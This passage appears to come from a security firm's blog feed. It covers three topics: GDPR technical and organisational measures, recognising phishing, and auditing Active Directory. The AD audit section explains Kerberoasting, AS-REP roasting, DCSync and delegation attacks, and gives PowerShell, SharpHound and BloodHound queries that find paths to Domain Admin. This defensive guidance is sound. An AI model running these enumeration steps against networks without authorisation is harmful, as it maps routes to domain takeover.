Specific implementation in Microsoft 365 via Conditional Access Policy: MFA for all (Users=All, Grant=Require MFA), block legacy authentication, managed device requirement, block risky sign-ins.

Area 2: Encryption

Transport encryption:

TLS 1.2+ on all web applications (TLS 1.0/1.1 disabled)
Email: STARTTLS for SMTP, S/MIME for sensitive communication
VPN: IKEv2 or WireGuard (not PPTP/L2TP)
HTTPS Redirect: HTTP → HTTPS everywhere without exception

At-Rest Encryption:

Windows: BitLocker on all laptops/workstations (GPO: Require BitLocker, min. AES-256)
Linux: dm-crypt/LUKS on server partitions
Backups: always encrypted before transport
Databases: Transparent Data Encryption (SQL Server, Oracle, PostgreSQL)
Cloud storage: AES-256 (S3 SSE, Azure Storage Encryption)

Key management:

Store encryption keys separately from encrypted data
Key Management Service: AWS KMS, Azure Key Vault, HashiCorp Vault
Key rotation: at least annually
HSM (Hardware Security Module) for high-security environments

Pseudonymization:

PII in analytics: Names → Hash IDs (non-reversible)
Logs: Mask PII (Email → ****@domain.de)
Test data: Production PII pseudonymized - never use real data in test systems

Area 3: Availability and Integrity

Backup according to the 3-2-1 rule:

3 copies, 2 different media types, 1 copy offsite
Backup tests: Monthly recovery tests (document!)
RPO: max. 24 hours of data loss (for most companies)
RTO: max. 4 hours to recovery
Ransomware protection: Backups immutable (WORM) or air-gapped
Backups always encrypted

High availability:

Critical systems: redundant (load balancer, failover)
Monitoring: Notification within 5 minutes of a failure
Disaster Recovery Plan: Tested and documented at least annually

Integrity Assurance:

Database integrity: Referential integrity checks
Audit logs: Immutable (WORM, separate logging infrastructure)
Hash verification: Critical documents signed
Version control: File changes traceable

Area 4: Deletion and Data Minimization

Defined retention periods per data category:

Data category	Retention period
Invoices	10 years (Section 257 HGB)
Personnel files	5 years after departure
Application documents	6 months (then delete)
Business emails	6-10 years (depending on content)
Log files	max. 6 months (BSI recommendation)
Website contact information	Until request is processed + 3 months

Secure deletion:

HDD: DoD 5220.22-M (7-pass overwrite) or degaussing
SSD: Manufacturer’s Secure Erase (TRIM is not sufficient)
Cloud: Obtain deletion confirmation (AWS S3: Delete Object Lock, then Delete)
AVV clause: Contractors must confirm deletion upon request

Area 5: Monitoring and Incident Response

Logging:

Authentication events: Success and failure
Admin activities: All privileged actions
Database access: To sensitive tables (PII access)
Export actions: Mass data downloads
Log retention: 12 months (ISO 27001 + NIS2)
Store logs in an unalterable format (WORM)

Incident Response:

Data breach procedures documented in writing
GDPR 72-hour notification requirement: Process defined, responsibilities clear, templates ready
Forensics: Logs permanently available for investigation

Privacy by Design has been EU law since 2018. Article 25 of the GDPR requires controllers to build data protection into the system from the development stage - not as an afterthought.

The Seven Core Principles

1. Proactive rather than reactive (Preventative): Data protection before data collection - threat modeling for data protection during the design phase.

2. Privacy as the Default: Maximum data protection applies unless the user actively chooses otherwise. Cookies: Default = no non-essential cookies. Tracking: Default = disabled.

3. Embedded in system design (Privacy Embedded): Data protection structurally embedded in the database schema, API design, and logging concept - no “plug-in privacy.”

4. Full functionality: Data protection and usability are not mutually exclusive. Differential privacy and privacy-preserving analytics are possible.

5. End-to-End Security (Lifecycle Protection): Deletion concept: once the purpose is fulfilled → delete data. Technically enforce retention policies.

6. Visibility and Transparency (Visibility): Audit trails, privacy dashboard for users, automated Data Subject Access Request (DSAR).

7. User-Centricity (Respect for User Privacy): Granular consent instead of "all-or-nothing," preference center, portability API.

Technically Implementing Data Minimization

Data minimization (Art. 5(1)(c) - Data Minimization) means: "Do we really need this field for the purpose? Can we manage with less precision?"

Specific measures:

Forms and APIs: Collect only required fields. An email address and password are sufficient for registration - additional fields only when specifically needed.
Age verification instead of date of birth: is_adult = verify_age(birthday) - store only the Yes/No result, not the date.
IP addresses: Truncate the last octet (192.168.1.123 → 192.168.1.0 for analytics). IP addresses are considered personal data in the EU (ECJ rulings).
Aggregation instead of individual data: Aggregated metrics instead of user clicks with session ID and timestamp.

Pseudonymization vs. Anonymization

Concept	Description	GDPR Status
Pseudonymization (Art. 4(5))	Identifying feature replaced by a pseudonym; identification possible only with additional information	Remains personal data - GDPR still applies
Anonymization (Art. 11)	Inference of identity impossible	No longer personal data - GDPR no longer applies

Important: True anonymization is harder to achieve than often assumed. Even just a ZIP code + date of birth + gender are sufficient to uniquely identify 87% of all U.S. individuals. Seemingly anonymous data is often re-identifiable.

GDPR-compliant consent under Art. 7 must be voluntary, specific, informed, unambiguous (active action, no pre-check), and revocable.

Cookie Categories:

Category	Consent Required?
Necessary (Session, CSRF, Authentication)	No
Preferences (language, dark mode)	Recommended
Statistics (analytics)	Yes
Marketing (remarketing pixels, tracking)	Always explicit

Technical implementation of withdrawal: immediately delete all marketing cookies, send opt-out to analytics system, store proof in audit trail.

Logs are often the biggest data protection risk. No PII in INFO or DEBUG log levels:

Dangerous: log.info("User alice@firma.de logged in with password Password123!")

GDPR-compliant: log.info("User ID=47a2 authenticated successfully")

Retention policy for logs: max. 6-12 months (depending on requirements). No passwords, email addresses, or IBANs in logs.

DSAR Automation (Data Subject Access Requests)

Every GDPR data access request (Art. 15) requires the export of all data related to an individual. Technically required:

User ID-based export mechanism for all tables
Soft delete vs. hard delete: observe legal retention periods
Automated DSAR export significantly reduces processing effort

Art. 32(1)(d) explicitly requires "a procedure for regularly reviewing, assessing, and evaluating the effectiveness" of technical and organizational measures. A penetration test is the most concrete form of this review.

A professional penetration test:

Tests the effectiveness of existing TOMs - not just whether they exist on paper, but whether they actually provide protection
Identifies data paths - which attack vectors lead to personal data
Provides documented evidence - in the event of a data breach, it can be proven that the vulnerability was unknown at the time of the test
Complies with Art. 32(1)(d) - regular assessment of TOM effectiveness is mandatory, not merely recommended

In the event of a data breach, one of the first questions from supervisory authorities is: “When was the last time you tested your systems for vulnerabilities?” A current penetration test report is the strongest defense against a fine.

Systems that process or store personal data are particularly relevant for the GDPR:

Web applications with customer data - login systems, CRM interfaces, portals
Databases - direct accessibility, SQL injection vulnerability, access control
APIs - an often underestimated attack surface for personal data
Internal networks with PII systems - lateral movement to data storage
Cloud environments - misconfigurations in S3 buckets, Azure Blob Storage

"Regularly" is not defined, but best practice is guided by:

High-risk systems (Art. 9 data, health, biometrics): Annually, plus after significant changes
Standard systems containing customer data: Annually or every two years
After major system changes: Penetration test prior to go-live
After security incidents: Immediately for situation assessment

Document penetration test results in the TOM catalog

The penetration test only counts as GDPR evidence if it is documented:

Date of the test
Scope: Which systems were tested?
Tester: external company (with qualifications), internal team, or a combination?
Results: vulnerabilities found, severity, remediation status
Follow-up: were identified vulnerabilities remediated and retested?

Documentation for Audits: The TOM Catalog

The TOM Catalog is the central document for GDPR audits and is mandatory as an appendix to the AVV.

Format per Measure

Field	Content
TOM-007	Encryption of End Devices
Description	All laptops encrypted with BitLocker
Details	AES-256, TPM 2.0, recovery keys in Azure AD
Responsible	IT Department
Verification	Monthly compliance report in Intune
Status	Implemented (98% compliance, 2% in progress)
Evidence	Intune report 2026-03-01

Protection Against Fines Through Documentation

The Hamburg Data Protection Commissioner imposed a fine of €35,000 on a company on the grounds of "no verifiable technical and organizational measures (TOMs) to protect applicant data." With documented TOMs, the fine would have been significantly lower or waived entirely - Article 83 explicitly considers “compliance with obligations” when determining the amount of the fine.

Regular TOM Review

Annual review by the CISO and Data Protection Officer
After incidents: Check TOMs for effectiveness
After significant system changes: Update TOMs
Documentation of reviews: Date, result, adjustments

The technical requirements of the GDPR overlap significantly with NIS2. Both require:

Risk-based security measures
Incident response and reporting obligations
Encryption and access controls
Regular review of measures
Documentation and obligation to provide evidence

The difference: The GDPR focuses on personal data, while NIS2 focuses on business continuity and critical infrastructure. In practice, compliance activities for both frameworks can be efficiently combined.

Conclusion: TOMs Are Not Just Paperwork

The most important insight from fine enforcement practice: It is not about achieving perfect security - that does not exist. It is about having demonstrably implemented risk-based measures whose effectiveness is regularly reviewed.

Companies that take this seriously benefit in multiple ways: They are better protected against attacks, can prove that they have fulfilled their duty of care in the event of an incident, and thereby significantly reduce the risk of fines.

GDPR Compliance for Businesses - Legal foundations, fines, data protection officers, reporting obligations, and data protection impact assessments
NIS2: What Companies Need to Know - parallel EU regulation with significant overlaps
Data Protection Impact Assessment in Detail - comprehensive guide to the DPIA under Art. 35

AWARE7 assists with the creation and review of TOM catalogs, the technical implementation of data protection-compliant IT infrastructure, and the execution of penetration tests as proof of GDPR compliance.

Request a penetration test | ISMS and ISO 27001

Recognizing Phishing: The Complete Protection Guide for Businesses

kontakt@a7.de (Chris Wojzechowski) — Thu, 05 Mar 2026 00:00:00 GMT

Just a few years ago, phishing emails tended to be impersonal and relatively clumsily worded. They would casually ask for account details, or fake requests would land in your inbox that were immediately obvious - whether due to poor German phrasing or because they were dubious requests that were relatively easy to spot. Umlauts were often misrepresented, which served as a clear giveaway.

Those days are over. Today, phishing emails have become sophisticated and are usually very personally tailored. Letterheads and company logos are meticulously forged, salutations often already include the recipient’s name, and spelling errors are rare. Furthermore, AI tools like ChatGPT enhance such attacks: attackers no longer even have to choose the right wording themselves.

This guide summarizes what you really need to know - from the first warning signs to immediate steps to take after clicking a link.

1. Why Phishing Is the Biggest Threat on the Internet

A study by Google, conducted in collaboration with the University of California, Berkeley, and presented at CCS, shows that the greatest danger online is falling victim to a phishing attack. Google uses the findings from this study to protect approximately 67,000,000 Google accounts.

The term “phishing” is derived from the English word “fishing” and describes the attempt to obtain sensitive data. You may encounter phishing attacks in various forms: via text message (smishing), via phone call (vishing), and most commonly via email. In December 2021 alone, the Anti-Phishing Working Group recorded around 320,000 attacks.

Why does phishing particularly target small and medium-sized businesses today?

Current attacks are professionally designed, featuring company logos, real names, and deceptively authentic sender addresses. The risk is particularly high for SMEs because they are attractive targets but often lack the same security resources as large corporations.

There are three main types of attacks:

Mass phishing - a broad net is cast, with each message kept as general as possible.
Spear-phishing - individual targets are specifically addressed using personal details. Attackers research names, hobbies, and interests via social media.
Business Email Compromise (BEC) - Attackers use information about contacts or internal processes to manipulate payment approvals or supply chain communications.

The combination of personalization and knowledge of internal processes is particularly dangerous: An email with the subject line “It’s me, your boss - please transfer funds to this account immediately” appears credible at first glance and exploits both pressure and authority. Scenarios like this happen every day.

A single click on a manipulated link or attachment is enough to compromise sensitive data or grant access to entire systems.

2. Recognizing Phishing Emails: The Key Signs (Checklist)

Despite increasing sophistication, there are five patterns that consistently give phishing emails away:

Sign 1: Artificial Pressure

A strong indicator is artificially created time pressure. Phishing emails primarily revolve around the need for you to confirm data or accept new terms and conditions at short notice. The pressure is usually heightened by threats of cancellations or account closures if confirmation is not provided within 24 hours.

Rule of thumb: No reputable company sets such short deadlines or requires consent in such a short time. The more time pressure is created in the text, the more likely it is a phishing email.

Sign 2: Request for personal data

A typical feature of phishing emails is the request for personal data. This isn’t just about your name and address, but usually also includes usernames, passwords, and other confidential information. In the worst-case scenario, they specifically ask for an online banking PIN or credit card numbers with security codes. You should also never send scanned ID cards without hesitation due to the risk of identity theft.

Rule of thumb: Reputable providers do not request such data via email. If an email asks for this kind of personal information, it is almost always a phishing attempt.

Sign #3: Manipulated Links

There is essentially no phishing email that doesn’t attempt to redirect you to a manipulated site via an external link. Such sites are usually fake and sometimes include all the original logos - but they can be identified by the actual URL. Even if the company name is included there, the URL usually has unusual suffixes appended to it.

Rule of thumb: As a general rule, do not click on links or buttons in emails if you are not expecting such a message. On a mobile phone, you can press and hold a link to see where it actually leads - tapping it briefly will open the page immediately.

Sign 4: Threats

If you’re being threatened, something is definitely wrong. No legitimate company will threaten you - not even the tax office threatens, but merely issues a warning. Whenever specific threats are involved - account freezes, account deletions, legal consequences - it’s almost always a phishing email.

Rule of thumb: Threats combined with time pressure are a clear red flag. Threats with no prior business relationship to the alleged sender are a red flag regardless.

Sign 5: Fake Identities and Legitimacy

Phishing emails often contain many different logos and company names, even though they have nothing to do with the actual company. They use the correct fonts, logos, and colors - only the content seems off. Attackers pose as your boss, a colleague, or a business partner. The emails seem familiar because they include names you recognize. But if you take a closer look at the sender, you’ll often realize that the person behind the address isn’t who they claim to be.

Rule of thumb: If an email comes from a supposedly familiar person or large company, but the request seems highly unusual, remain skeptical. When in doubt, check personally - through a channel you know, not via the number provided in the email.

Quick checklist: How to spot a phishing email

Ask yourself these three questions before taking action:

Do I personally know the sender, and does the address seem plausible?
Does the subject line make sense, and were you expecting an attachment or link?
Is pressure being applied, are you being asked for personal information, or are you being threatened?

If you answer “No” to either of the first two questions or “Yes” to the third, treat the email as suspicious.

3. Recognizing and Verifying Phishing Links

Understanding how a URL is structured is crucial for identifying phishing links. It’s worth learning this, as the structure of web addresses won’t change in the long term - regardless of whether the link is sent via an app, messenger, email, or another method.

A URL consists of five components:

Protocol - specifies how the server communicates. https (with s for secure) indicates SSL/TLS-encrypted communication; http without s transmits everything in plain text, including passwords.
Subdomain - appears before the actual domain, separated by a dot. It allows different services to be addressed under the same domain.
Domain (Second-Level Domain) - the core of the address, indicating which website you are on. A domain may only be assigned once per top-level domain.
Top-Level Domain - the highest level (e.g., .de, .com). DENIC is responsible for .de, and ICANN for .com.
Path - indicates which part of a website is being accessed, similar to a folder structure.

The key trick with phishing links lies in the subdomain. In the example www.amazon.de.evil.com, evil.com is the actual domain - www.amazon.de is just the subdomain. If you’re not careful, you might easily mistake evil.com for the path of the URL and end up on a page you didn’t intend to visit.

AWARE7 has developed phishing-erkennen.de, a free tool that automatically breaks down URLs into their components. Simply paste the link, click “split” - and the real domain becomes immediately visible.

Additional verification methods:

Hover over the link (Desktop): The actual destination address appears in the browser’s status bar before you click.
Long-press the link (Mobile device): Displays the destination URL without opening the page.
Take browser warnings seriously: Google Safe Browsing warns against known phishing websites in Chrome, Firefox, and Safari. Websites that repeatedly distribute malware are blocked by Google for up to 30 days.

4. Phishing email opened - what to do? (Immediate actions)

The level of risk varies depending on exactly what happened. Here is a clear breakdown:

Level 1: Email only opened - low risk

If you have only opened the phishing email, you are exposed to low to no risk. If the sender is unknown to the email program, images are often not loaded - thus, no connection is established between the user and the attacker. Action: Permanently delete the email. Notify the IT department so that the email filter can be adjusted and the email is not forwarded to colleagues.

Level 2: Images loaded - low risk

Clicking “Show images” establishes a connection to a server. These could also be invisible tracking pixels that notify the attacker that the email account is active. The attacker also receives information about the email client used and the IP address. Action: Notify IT; do not load images from unknown senders in the future.

Level 3: Link clicked - medium risk

Even though modern browsers are well-secured, an attacker can now exploit additional attack vectors, such as executing code in the browser. Antivirus software detects such attacks - but not always reliably.

Immediate actions:

Close the phishing website immediately if detected.
Check whether files were downloaded unintentionally - if so, cancel the download and delete the file.
Contact the IT department immediately.
Consider whether sensitive information has already been entered.

Level 4: Attachment opened - high risk

Phishing attachments can be Word, PDF, or executable files. Document-based files may contain malicious code that is executed through security vulnerabilities in programs such as Microsoft Word or Adobe Acrobat Reader. Executable files can be executed directly without requiring a security vulnerability in external software. Some malware runs in the background and waits; others - such as ransomware - encrypt all data on the hard drive.

Immediate actions:

Disconnect the device from the network immediately.
Change all passwords on a different device - immediately.
Contact IT experts to have the device examined.
Only a complete reinstallation offers full security.
Check backup status - is the latest backup up to date?

Level 5: Data entered on a phishing site - extreme danger

This is the most dangerous scenario. The attacker now has full access to the account. Even two-factor authentication can be bypassed by entering data on the phishing site.

Immediate actions - act faster than the attacker:

Change your password immediately on another device - don’t just add a character, but set a completely new password.
Change the password everywhere else where the same or a similar password was used.
Enable two-factor authentication if you haven’t already.
For banking: use a secure TAN procedure and monitor account activity. The mTAN procedure via SMS should no longer be used.
Contact your bank or service provider directly.
If identity theft has occurred, file a police report.

5. What kind of damage can you expect?

The range of potential damage is considerable:

Financial damage occurs when attackers gain access to online banking or payment services. In BEC attacks, payment approvals are manipulated - a brief call to the boss or the accounting department that fails to come through can make an entire attack possible in the first place.

Data loss and ransomware: Attackers targeting internal systems often install Trojans that run in the background or ransomware that encrypts all existing data. In such cases, only a clean reinstallation offers complete security - provided a recent backup is available.

Identity theft: Scanned IDs, login credentials, and personal information are traded on the dark web or used directly for further fraudulent activities. Between March 2016 and March 2017, researchers found over 25,000 tools in well-known underground forums used to collect account credentials - in addition to 788,000 records stolen via keyloggers and 12,000,000 via phishing.

Reputational damage: Compromised accounts are used to launch further attacks on contacts. In a Facebook phishing campaign, stolen login credentials were checked fully automatically, and upon successful login, messages were immediately sent to the entire friends list - which made the campaign exceptionally successful.

System Compromise: A single attachment can cause malware to run in the background, waiting for the user to log in to relevant sites to steal credentials or redirect transactions.

6. 7 Tips for Phishing Defense in the Workplace

Tip 1: Enable two-factor authentication

Strong passwords are essential: long, with no personal references, and containing uppercase and lowercase letters, special characters, and numbers. When supplemented by a second factor - a smartphone or hardware key - login without this second factor is impossible. Even if a password is stolen through phishing, the account remains protected.

Tip 2: Keep email addresses private

Company email addresses should not appear on public websites or in social media profiles. Simple crawlers automatically scan websites for email addresses. Sharing email addresses only with those who need direct contact significantly reduces the risk of phishing.

Tip 3: Plain text instead of HTML emails

If security is a top priority, you should disable HTML emails. Plain text is usually perfectly sufficient. The advantage: No malicious code can hide in plain text. Plain text emails are more secure and ensure clearer communication.

Tip 4: Avoid public Wi-Fi

Anyone going online via public Wi-Fi should avoid accessing secure systems or business emails. Attackers use public Wi-Fi networks to gain access to connected devices. If unavoidable, use a VPN.

Tip 5: Do not click on links in emails

Employees should be made aware that they should not click on any links in emails - and that they should not insert any links either. Any link in an email can be malicious: it can trigger malware downloads, redirect to a phishing website, or inject other harmful code. Links within emails should be strictly off-limits.

Tip 6: Do not use third-party email apps

Employees tend to check work emails using personal email programs. A strict policy prevents this. Third-party apps may have security vulnerabilities that make it easier for attackers to access emails.

Tip 7: Clear processes for financial transactions

Especially in SMEs: financial transactions are not approved via email alone. A quick call to the boss or the accounting department through a known channel - not the number provided in the email - can thwart an entire BEC attack. It’s better to double-check than to click too quickly.

7. Technical Protective Measures

Keep email filters up to date: Attackers come up with new methods every day to bypass email filters. IT teams should update filters regularly. No software can guarantee that no phishing emails will ever reach your inbox - but up-to-date filters block many of them.

Implement multi-factor authentication (MFA) company-wide: Technology does not replace vigilance, but it does reinforce it. Spam filters block many standard attacks; secure email gateways analyze suspicious content. MFA remains one of the most effective technical safeguards.

Use browser protection: Google Safe Browsing blocks known phishing websites in Chrome, Firefox, and Safari. Websites that repeatedly deliver malware are blocked for up to 30 days. Users should not ignore or bypass browser warnings.

Make URL analysis routine: The tool phishing-erkennen.de automatically breaks down URLs into their components - protocol, subdomain, domain, top-level domain, and path. This provides certainty before a link is clicked.

Antivirus Software and Endpoint Security: Antivirus programs can detect and block malicious code in attachments - but not always reliably. They are an important layer of defense, but they do not replace trained employees.

8. The Role of Security Awareness

People remain the most important line of defense - and at the same time the biggest vulnerability. In the daily work routine, there isn’t always time to scrutinize every email. A quick glance at the subject line, a scan of the formatting: You quickly form a rough impression - which professional phishing emails specifically exploit.

The Japanese safety method “Pointing and Calling” (Japanese: Shisa kanko) demonstrates how conscious action prevents errors: In Japanese rail transport, train drivers point to everything that is important for their work and speak aloud what they see. This reduced the error rate in Japanese rail transport by 85%. AWARE7 has conducted a study on how this method can be applied to the detection of phishing emails - actively and aloud identifying the sender’s address, links, and requests significantly sharpens conscious awareness.

What constitutes effective security awareness:

Training sessions and workshops not only impart knowledge but also train attention in real-life situations.
Phishing simulations are particularly effective: employees find fake emails in their inboxes and thus practice for a real emergency. Those repeatedly confronted with such tests develop a routine for handling suspicious messages.
Security awareness training sensitizes teams to the psychological tricks behind phishing - emotional manipulation through urgency or authority, fake identities, and technical deceptions.
Regular repetition is crucial. Security awareness does not develop on its own: It grows through practice, experience, and regularly refreshing knowledge. Phishing methods and deception strategies are constantly evolving.

When teams learn to interpret warning signs and actively report suspicious situations, information security becomes an integral part of the corporate culture. The awareness that it can happen to anyone makes it easier for employees to report immediately when in doubt - rather than hiding the mistake.

9. FAQ

Is it dangerous just to open a phishing email?

If you only open the email in your email program without loading images, clicking links, or opening attachments, the risk is low to nonexistent. Delete the email and notify your IT department.

What should I do if I clicked on a phishing link?

Close the webpage immediately. Check whether any files were downloaded unintentionally - if so, cancel and delete them. Notify the IT department and consider whether any sensitive information has already been entered.

I entered my password on a phishing website. What now?

Change your password immediately on a different device - choose a completely new password; don’t just add a character. Also change the password everywhere you’ve used a similar one. Then enable two-factor authentication.

How can I spot phishing links on my smartphone?

Press and hold the link (a long press instead of a quick tap). This shows where the link actually leads - without opening the page.

What is the difference between phishing, spear phishing, and BEC?

Mass phishing casts a wide net; all wording is kept general. Spear phishing targets specific individuals using personal details. Business Email Compromise (BEC) specifically manipulates business processes such as payment approvals by using information about internal procedures and contacts.

Does HTTPS protect against phishing?

No. HTTPS only means that the connection to the website is encrypted - not that the website itself is legitimate. Phishing sites can also use HTTPS. The domain remains the decisive verification criterion.

Why do even experienced employees fall for phishing?

In the day-to-day work routine, there isn’t always time to scrutinize every email. Professional phishing emails are linguistically flawless, personalized, and specifically target emotional triggers such as urgency and authority. It’s like April Fools’ jokes: You know they exist, and yet you sometimes fall for them anyway - you only have to believe it once to become a victim.

What specific steps can companies take to reduce the risk?

Seven measures are most effective when combined: implement two-factor authentication, keep email addresses private, disable HTML emails, avoid public Wi-Fi, never click on links in emails, do not use third-party email apps, and establish clear processes for financial transactions. Supplemented by regular phishing simulations and security awareness training, this creates a robust defense.

Active Directory Security Audit: Find and Close Attack Paths in AD

kontakt@a7.de (Vincent Heinen) — Wed, 04 Mar 2026 00:00:00 GMT

"We've been compromised - the attacker had Domain Admin privileges." This is the conclusion of most Windows network compromises. Active Directory isn't just the heart of the Windows infrastructure - it's the primary target. An attacker who gains Domain Admin privileges controls all systems, all passwords, and all data across the entire Windows environment.

Why AD Is the Preferred Target

Domain Admin is the master key: whoever possesses it can administer all Windows systems in the domain, extract all hashes from NTDS.DIT (DCSync), create Kerberos tickets for any account (Golden Ticket), and exploit trusts to other domains (Forest Compromise).

The numbers speak for themselves: 80% of all incidents used Active Directory as an entry point or a path to Domain Admin. According to CrowdStrike, the average time from initial compromise to gaining Domain Admin privileges is just 1.5 hours. The most common attack vectors are Kerberoasting (60%), LLMNR Poisoning (50%), and AS-REP Roasting (30%).

The typical AD attack lifecycle follows a clear pattern:

Initial Access (phishing, exploit)
Local Privilege Escalation (local admin)
Credential Harvesting (Mimikatz, LSASS)
Lateral Movement (Pass-the-Hash, Pass-the-Ticket)
Domain Privilege Escalation (Kerberoasting, AS-REP, DCSync)
Persistence (Golden Ticket, DCSync Backdoor, Skeleton Key)

Phase 1: Audit Preparation and Scoping

An AD audit covers the following core objects:

Domain Structure: Number of domains, trusts, functional levels
Privileged Accounts: Domain Admins, Enterprise Admins, Schema Admins, Account Operators
Kerberos Configuration: Encryption types, delegation
Password Policies: Length, complexity, history, lockout
GPOs: Critical GPO configurations
LDAP Configuration: LDAP signing, LDAP channel binding
Service Accounts: SPNs, password age, permissions
Inactive Accounts: Users/computers inactive for > 90 days
Local Admin Accounts: LAPS implemented?

The following tools are available for the audit:

Tool	Purpose	Cost
BloodHound + SharpHound	Attack path visualization	Free
PingCastle	AD Healthcheck Score	Free
Semperis Purple Knight	Free AD Assessment Tool	Free
Microsoft Defender for Identity	Real-time detection of AD attacks	License required
ADACLScanner	ACL analysis for all AD objects	free
PowerView (PowerSploit)	AD enumeration (for testers)	free

PingCastle is ideal for a quick assessment: After downloading from pingcastle.com, running pingcastle.exe --healthcheck --server dc01.company.com generates an HTML report with a score from 0 to 100 (100 = best result) and prioritized findings in the categories Privileged Accounts, Trusts, and Account Anomalies.

Phase 2: Analyze Privileged Accounts

The following PowerShell command lists all Domain Admins along with their relevant attributes:

Get-ADGroupMember "Domain Admins" -Recursive |
  Get-ADUser -Properties LastLogonDate, PasswordLastSet, Enabled |
  Select-Object Name, SamAccountName, LastLogonDate,
                PasswordLastSet, Enabled |
  Sort-Object LastLogonDate

The following findings are critical during the analysis:

More than 5 members in the Domain Admins group (Best Practice: max. 2-3 genuine DA accounts)
DA accounts with passwords older than 90 days
DA accounts without a LastLogonDate (never used, but active)
DA accounts used as mailbox accounts (spear-phishing risk)
DA accounts used daily for normal work

The Enterprise Admins and Schema Admins groups should generally be empty. Enterprise Admins are only temporarily populated during forest changes, and Schema Admins only during schema extensions.

Get-ADGroupMember "Enterprise Admins"
Get-ADGroupMember "Schema Admins"

The Protected Users group (starting with Windows Server 2012 R2) offers additional protection: Members use only Kerberos (no NTLM, no CredSSP, no Digest), only AES encryption, and no credential caching on endpoints. DA, EA, and Schema Admins must be members of this group. Important: Test before adding them, as legacy apps may break.

Get-ADGroupMember "Protected Users"

Phase 3: Kerberoasting Attack Surface

Kerberoasting enables the offline cracking of service account passwords. How it works: Any authenticated domain user can query SPNs (Service Principal Names). An SPN identifies an account as a service account. The Kerberos service ticket (TGS) is encrypted with the service account hash and can then be cracked offline.

Kerberoastable accounts are identified using the following PowerShell command:

Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and Enabled -eq $true} `
  -Properties ServicePrincipalName, PasswordLastSet, AdminCount |
  Select-Object SamAccountName, ServicePrincipalName, PasswordLastSet, AdminCount

Critical findings during the analysis:

Service accounts with AdminCount=1 (privileged and Kerberoastable = most critical combination)
Service accounts with passwords older than 1 year
Service accounts that are members of the Domain Admins group
SPNs on user accounts instead of computer accounts

As a countermeasure, all Kerberoastable accounts should be assigned passwords with more than 25 random characters. Even better are Group Managed Service Accounts (gMSA): Windows automatically manages the password with 240 characters and rotates it every 30 days. Since no one knows the password, Kerberoasting is practically impossible.

New-ADServiceAccount -Name "svc-webapp" -DNSHostName app.company.com `
  -PrincipalsAllowedToRetrieveManagedPassword "Server-Group"

For AS-REP Roasting, the following applies: Accounts with the "Kerberos pre-authentication not required" flag set can be attacked without a valid password. This flag is almost always misconfigured and should be set to $false.

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
  Select-Object SamAccountName, DistinguishedName

Phase 4: Kerberos Delegation Risks

Unconstrained Delegation is the most critical delegation scenario: The account can impersonate any user on any service. The attack works by forcing a domain controller to authenticate against a server with unconstrained delegation, thereby allowing the DA hash to be obtained.

Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties * |
  Select-Object Name, TrustedForDelegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties * |
  Select-Object Name, TrustedForDelegation

The expected result: Domain controllers only. Any other result is a critical finding.

Constrained Delegation (medium risk): The account is only allowed to impersonate a user for specific services. If the account is compromised, all permitted services are compromised.

Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} `
  -Properties &#x27;msDS-AllowedToDelegateTo&#x27; |
  Select-Object Name,&#x27;msDS-AllowedToDelegateTo&#x27;

Each account found should be reviewed to determine whether the permission is actually necessary.

Resource-Based Constrained Delegation (RBCD): In the newer RBCD model, the target resource determines who is allowed to delegate. An attack using GenericWrite permissions on a computer object enables an RBCD attack. BloodHound finds these paths using the query "Principals with GenericWrite to computers".

Phase 5: BloodHound Analysis

BloodHound (Community Edition) is launched via Docker and is accessible at http://localhost:8080:

git clone https://github.com/SpecterOps/BloodHound
docker compose up -d

SharpHound collects data from Active Directory:

.\SharpHound.exe -c All -d firma.de

The most important BloodHound Cypher queries:

Shortest Paths to Domain Admin shows how many hops a compromised user needs to reach the Domain Admin:

MATCH p=shortestPath((n:User {name: "TESTUSER@FIRMA.DE"})-[*1..]->(m:Group {name: "DOMAIN ADMINS@FIRMA.DE"})) RETURN p

Users with DCSync Rights lists all accounts that can run DCSync and thus extract all password hashes:

MATCH (n1)-[:MemberOf|GetChanges*1..]->(u:Domain) RETURN n1
MATCH (n1)-[:MemberOf|GetChangesAll*1..]->(u:Domain) RETURN n1

Kerberoastable Admins - a Kerberoastable account that is also a Domain Administrator (DA) is the most critical finding possible:

MATCH (u:User {hasspn:true})-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@FIRMA.DE"}) RETURN u

Computers with Unconstrained Delegation (outside DCs):

MATCH (c:Computer {unconstraineddelegation:true}) WHERE c.name <> "DC01.FIRMA.DE" RETURN c

The standard queries in BloodHound ("Find all Domain Admins", "Shortest Paths to Domain Admins from Owned Principals", "Find Principals with DCSync Rights", "Find Computers where Domain Users are Local Admin") cover the most important attack vectors.

Phase 6: Credential Theft Prevention

Credential Guard isolates LSASS in a separate process via Hyper-V, causing Mimikatz attacks (lsadump::lsa) to fail. Prerequisites are UEFI Secure Boot and Virtualization-based Security.

GPO path: Computer Configuration → Administrative Templates → System → Device Guard

"Turn on Virtualization Based Security": Enabled
Platform Security Level: Secure Boot and DMA Protection
Credential Guard Configuration: Enabled with UEFI lock

PPL (Protected Process Light) protects LSASS at the kernel level:

Registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1
Alternatively via GPO: Security Options → Run LSASS as a protected process

Disable WDigest: WDigest stores plaintext passwords in LSASS and should be disabled in all modern environments:

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0

Restrict NTLM: NTLM enables pass-the-hash attacks. Before restricting it, an audit should be performed to determine which systems still use NTLM:

Get-WinEvent -LogName "Microsoft-Windows-NTLM/Operational" |
  Where-Object {$_.Id -eq 8004} |
  Select-Object TimeCreated, @{N="WorkstationName";E={$_.Properties[0].Value}},
                @{N="TargetName";E={$_.Properties[1].Value}}

GPO settings: Security Options → Network Security: Restrict NTLM → Incoming NTLM traffic: Deny all accounts; NTLM authentication in this domain: Deny all.

AD Audit Checklist

Critical - Fix immediately

Unconstrained delegation on non-DCs
Kerberoastable Domain Admins
AS-REP roasting on privileged accounts
DCSync permissions outside of DA/EA
Direct pass-the-hash paths to Domain Admin (BloodHound)
WDigest enabled (plaintext passwords)
Enterprise/Schema Admins not empty
Default Domain Admin (Administrator) used daily

High - within 30 days

Domain Admins with more than 5 members
DA accounts used as regular user accounts
Protected Users Group empty (DA/EA not included)
LAPS not implemented (local admin passwords not managed)
